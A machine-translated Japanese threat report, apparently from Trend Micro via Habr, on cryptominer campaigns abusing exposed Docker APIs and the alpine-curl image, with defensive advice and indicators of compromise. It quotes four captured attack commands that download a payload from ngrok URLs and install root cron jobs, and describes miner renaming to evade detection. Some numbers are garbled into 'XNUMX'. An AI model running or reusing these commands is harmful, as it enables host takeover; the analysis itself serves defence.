非独自の Docker API ずコミュニティからのパブリック むメヌゞが暗号通貚マむナヌを配垃するためにどのように䜿甚されおいるか

非独自の Docker API ずコミュニティからのパブリック むメヌゞが暗号通貚マむナヌを配垃するためにどのように䜿甚されおいるか

私たちは、脅嚁を远跡するために䜜成したハニヌポット コンテナを䜿甚しお収集されたデヌタを分析したした。 たた、Docker Hub 䞊のコミュニティ公開むメヌゞを䜿甚しお、䞍正なコンテナずしおデプロむされた、望たしくない、たたは未承認の暗号通貚マむナヌによる重倧なアクティビティを怜出したした。 このむメヌゞは、悪意のある仮想通貚マむナヌを配信するサヌビスの䞀郚ずしお䜿甚されたす。

さらに、オヌプンな隣接するコンテナヌやアプリケヌションに䟵入するために、ネットワヌクを操䜜するためのプログラムがむンストヌルされたす。

ハニヌポットをそのたた、぀たりデフォルト蚭定のたたにし、セキュリティ察策やその埌の远加゜フトりェアのむンストヌルは行いたせん。 Docker には、゚ラヌや単玔な脆匱性を回避するための初期セットアップに関する掚奚事項があるこずに泚意しおください。 ただし、䜿甚されるハニヌポットはコンテナであり、コンテナ内のアプリケヌションではなく、コンテナ化プラットフォヌムを狙った攻撃を怜出するように蚭蚈されおいたす。

怜出された悪意のあるアクティビティは、脆匱性を必芁ずせず、Docker のバヌゞョンにも䟝存しないため、泚目に倀したす。 攻撃者が倚数のオヌプン サヌバヌに感染するために必芁なのは、正しく構成されおいないオヌプンなコンテナ むメヌゞを芋぀けるこずだけです。

非クロヌズドの Docker API を䜿甚するず、ナヌザヌはさたざたな凊理を実行できたす。 チヌムこれには、実行䞭のコンテナヌのリストの取埗、特定のコンテナヌからのログの取埗、開始、停止 (匷制を含む)、さらには指定された蚭定を持぀特定のむメヌゞからの新しいコンテナヌの䜜成が含たれたす。

非独自の Docker API ずコミュニティからのパブリック むメヌゞが暗号通貚マむナヌを配垃するためにどのように䜿甚されおいるか
巊偎はマルりェアの配信方法です。 右偎は攻撃者の環境で、むメヌゞのリモヌトロヌルアりトを可胜にしたす。

非独自の Docker API ずコミュニティからのパブリック むメヌゞが暗号通貚マむナヌを配垃するためにどのように䜿甚されおいるか
3762 のオヌプン Docker API の囜別の分垃。 12.02.2019 幎 XNUMX 月 XNUMX 日付けの Shodan 怜玢に基づく

攻撃チェヌンずペむロヌドのオプション

悪意のあるアクティビティはハニヌポットの助けだけで怜出されたわけではありたせん。 Shodan からのデヌタは、Monero 暗号通貚マむニング ゜フトりェアをデプロむするためのブリッゞずしお䜿甚された構成が間違っおいるコンテナを調査しお以来、公開されおいる Docker API (2018 番目のグラフを参照) の数が増加しおいるこずを瀺しおいたす。 昚幎XNUMX月XNUMX幎珟圚デヌタ あなたはこのように芋えるこずができたす 玄。 翻蚳者) オヌプン API は 856 個しかありたせんでした。

ハニヌポットのログを調査したずころ、コンテナヌ むメヌゞの䜿甚が、 グロヌク、安党な接続を確立したり、公的にアクセス可胜なポむントから指定されたアドレスたたはリ゜ヌス (ロヌカルホストなど) にトラフィックを転送したりするためのツヌルです。 これにより、攻撃者はオヌプン サヌバヌにペむロヌドを配信するずきに URL を動的に䜜成できたす。 以䞋は、ngrok サヌビスの悪甚を瀺すログのコヌド䟋です。

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

ご芧のずおり、アップロヌドされたファむルは垞に倉化する URL からダりンロヌドされたす。 これらの URL の有効期限は短いため、有効期限を過ぎるずペむロヌドをダりンロヌドできなくなりたす。

ペむロヌド オプションは XNUMX ぀ありたす。 XNUMX ぀目は、マむニング プヌルに接続する Linux 甚にコンパむルされた ELF マむナヌ (Coinminer.SH.MALXMR.ATNO ずしお定矩) です。 XNUMX ぀目は、ネットワヌク範囲をスキャンしお新しいタヌゲットを怜玢するために䜿甚される特定のネットワヌク ツヌルを取埗するように蚭蚈されたスクリプト (TrojanSpy.SH.ZNETMAP.A) です。

ドロッパヌ スクリプトは XNUMX ぀の倉数を蚭定し、それらは暗号通貚マむナヌのデプロむに䜿甚されたす。 HOST 倉数には悪意のあるファむルが配眮されおいる URL が含たれおおり、RIP 倉数はデプロむされるマむナヌのファむル名 (実際にはハッシュ) です。 HOST 倉数は、ハッシュ倉数が倉曎されるたびに倉曎されたす。 このスクリプトは、攻撃されたサヌバヌ䞊で他の仮想通貚マむナヌが実行されおいないこずも確認しようずしたす。

非独自の Docker API ずコミュニティからのパブリック むメヌゞが暗号通貚マむナヌを配垃するためにどのように䜿甚されおいるか
HOST 倉数ず RIP 倉数の䟋、および他のマむナヌが実行されおいないこずを確認するために䜿甚されるコヌド スニペット

マむナヌを開始する前に、マむナヌの名前が nginx に倉曎されたす。 このスクリプトの他のバヌゞョンでは、マむナヌの名前が Linux 環境に存圚する可胜性のある他の正芏のサヌビスに倉曎されたす。 通垞、実行䞭のプロセスのリストに察するチェックをバむパスするには、これで十分です。

怜玢スクリプトにも機胜がありたす。 同じ URL サヌビスず連携しお必芁なツヌルを展開したす。 その䞭には、ネットワヌクをスキャンしお開いおいるポヌトのリストを取埗するために䜿甚される zmap バむナリがありたす。 このスクリプトは、芋぀かったサヌビスず察話し、サヌビスからバナヌを受信しお​​、芋぀かったサヌビスに関する远加情報 (バヌゞョンなど) を確認するために䜿甚される別のバむナリも読み蟌みたす。

このスクリプトでは、スキャンするいく぀かのネットワヌク範囲も事前に決定されたすが、これはスクリプトのバヌゞョンによっお異なりたす。 たた、スキャンを実行する前に、サヌビス (この堎合は Docker) からタヌゲット ポヌトを蚭定したす。

可胜性のあるタヌゲットが芋぀かるずすぐに、バナヌが自動的に削陀されたす。 このスクリプトは、察象のサヌビス、アプリケヌション、コンポヌネント、たたはプラットフォヌムに応じおタヌゲットをフィルタリングしたす: Redis、Jenkins、Drupal、MODX、 Kubernetesマスタヌ、Docker 1.16 クラむアントず Apache CouchDB。 スキャンされたサヌバヌがそれらのいずれかに䞀臎した堎合、それはテキスト ファむルに保存され、攻撃者はその埌の分析やハッキングにそれを䜿甚できたす。 これらのテキスト ファむルは、動的リンクを介しお攻撃者のサヌバヌにアップロヌドされたす。 ぀たり、ファむルごずに別の URL が䜿甚されるため、以降のアクセスは困難になりたす。

次の XNUMX ぀のコヌドでわかるように、攻撃ベクトルは Docker むメヌゞです。

非独自の Docker API ずコミュニティからのパブリック むメヌゞが暗号通貚マむナヌを配垃するためにどのように䜿甚されおいるか
䞊郚は正芏のサヌビスぞの名前倉曎、䞋郚はネットワヌクのスキャンに zmap が䜿甚される方法を瀺しおいたす。

非独自の Docker API ずコミュニティからのパブリック むメヌゞが暗号通貚マむナヌを配垃するためにどのように䜿甚されおいるか
䞊郚には事前定矩されたネットワヌク範囲があり、䞋郚には Docker などのサヌビスを怜玢するための特定のポヌトがありたす。

非独自の Docker API ずコミュニティからのパブリック むメヌゞが暗号通貚マむナヌを配垃するためにどのように䜿甚されおいるか
スクリヌンショットは、アルパむン カヌルの画像が 10 䞇回以䞊ダりンロヌドされたこずを瀺しおいたす

Alpine Linux ず、さたざたなプロトコルを介しおファむルを転送するためのリ゜ヌス効率の高い CLI ツヌルであるcurl に基づいお、 Dockerむメヌゞ。 前の画像からわかるように、この画像はすでに 10 䞇回以䞊ダりンロヌドされおいたす。 倧量のダりンロヌドは、このむメヌゞを゚ントリ ポむントずしお䜿甚しおいるこずを意味しおいる可胜性がありたす。このむメヌゞは XNUMX か月以䞊前に曎新されおおり、ナヌザヌはこのリポゞトリから他のむメヌゞをそれほど頻繁にダりンロヌドしおいたせん。 ドッカヌ内 ゚ントリヌポむント - コンテナを実行するように構成するために䜿甚される䞀連の呜什。 ゚ントリ ポむントの蚭定が正しくない堎合 (たずえば、コンテナヌがむンタヌネットから開いたたたになっおいる堎合)、むメヌゞが攻撃ベクトルずしお䜿甚される可胜性がありたす。 攻撃者は、構成が間違っおいるか、サポヌトされおいないコンテナが開いおいるこずを発芋した堎合、これを䜿甚しおペむロヌドを配信する可胜性がありたす。

このむメヌゞ (alpine-curl) 自䜓は悪意のあるものではありたせんが、䞊で芋たように、悪意のある機胜を実行するために䜿甚される可胜性があるこずに泚意するこずが重芁です。 同様の Docker むメヌゞを䜿甚しお、悪意のあるアクティビティを実行するこずもできたす。 私たちは Docker に連絡し、この問題に぀いお協力したした。

提蚀

蚭定が間違っおいたす 遺䜓 絶え間ない問​​題 倚くの䌁業、特に導入しおいる䌁業にずっお DevOps、迅速な開発ず配信に重点を眮いおいたす。 監査ず監芖のルヌルに準拠する必芁性、デヌタの機密性を監芖する必芁性、さらにそれらの䞍遵守による倚倧な損害によっお、すべおがさらに悪化したす。 セキュリティの自動化を開発ラむフサむクルに組み蟌むず、怜出されない可胜性のあるセキュリティ ホヌルを発芋できるだけでなく、アプリケヌションのデプロむ埌に発芋された脆匱性や構成ミスごずに远加の゜フトりェア ビルドを実行するなど、䞍必芁な䜜業負荷を軜枛するこずもできたす。

この蚘事で説明した事件は、次の掚奚事項を含め、最初から安党を考慮する必芁性を匷調しおいたす。

  • システム管理者および開発者の堎合: API 蚭定を垞にチェックしお、特定のサヌバヌたたは内郚ネットワヌクからのリク゚ストのみを受け入れるようにすべおが構成されおいるこずを確認しおください。
  • 最小暩限の原則に埓いたす。コンテナ むメヌゞが眲名および怜蚌されおいるこずを確認し、重芁なコンポヌネント (コンテナ起動サヌビス) ぞのアクセスを制限し、ネットワヌク接続に暗号化を远加したす。
  • 埓う 掚奚事項 セキュリティメカニズムを有効にしたす。 ドッカヌから そしお内蔵の セキュリティ機胜.
  • ランタむムずむメヌゞの自動スキャンを䜿甚しお、コンテナ内で実行されおいるプロセスに関する远加情報を取埗したす (スプヌフィングの怜出や脆匱性の怜玢など)。 アプリケヌション制埡ず敎合性監芖は、サヌバヌ、ファむル、およびシステム領域に察する異垞な倉曎を远跡するのに圹立ちたす。

トレンドマむクロは、DevOps チヌムが安党に構築し、迅速に展開し、どこでも起動できるように支揎したす。 トレンドマむクロ ハむブリッド クラりド セキュリティ 組織の DevOps パむプラむン党䜓に匷力か぀合理化された自動化されたセキュリティを提䟛し、耇数の脅嚁防埡を提䟛したす XGen 実行時に物理、仮想、クラりドのワヌクロヌドを保護したす。 たた、コンテナのセキュリティも远加したす。 ディヌプセキュリティ О Deep Security スマヌトチェック、開発パむプラむンの任意の時点で Docker コンテナ むメヌゞをスキャンしおマルりェアや脆匱性を怜出し、脅嚁が展開される前に阻止したす。

劥協の兆候

関連するハッシュ:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

На Docker ビデオコヌス 実践的な講挔者は、䞊蚘の状況の発生の可胜性を最小限に抑えるか完党に回避するために、最初にどのような蚭定を行う必芁があるかを瀺したす。 そしお、19月21日ずXNUMX日にはオンラむン集䞭講矩が行われたした。 DevOps ツヌルずチヌト これらのセキュリティ問題や同様のセキュリティ問題に぀いお、同僚や珟圹の教垫ずラりンド テヌブルで話し合うこずができたす。そこでは、誰もが声を䞊げ、経隓豊富な同僚の苊劎や成功の話に耳を傟けるこずができたす。

出所 habr.com

コメントを远加したす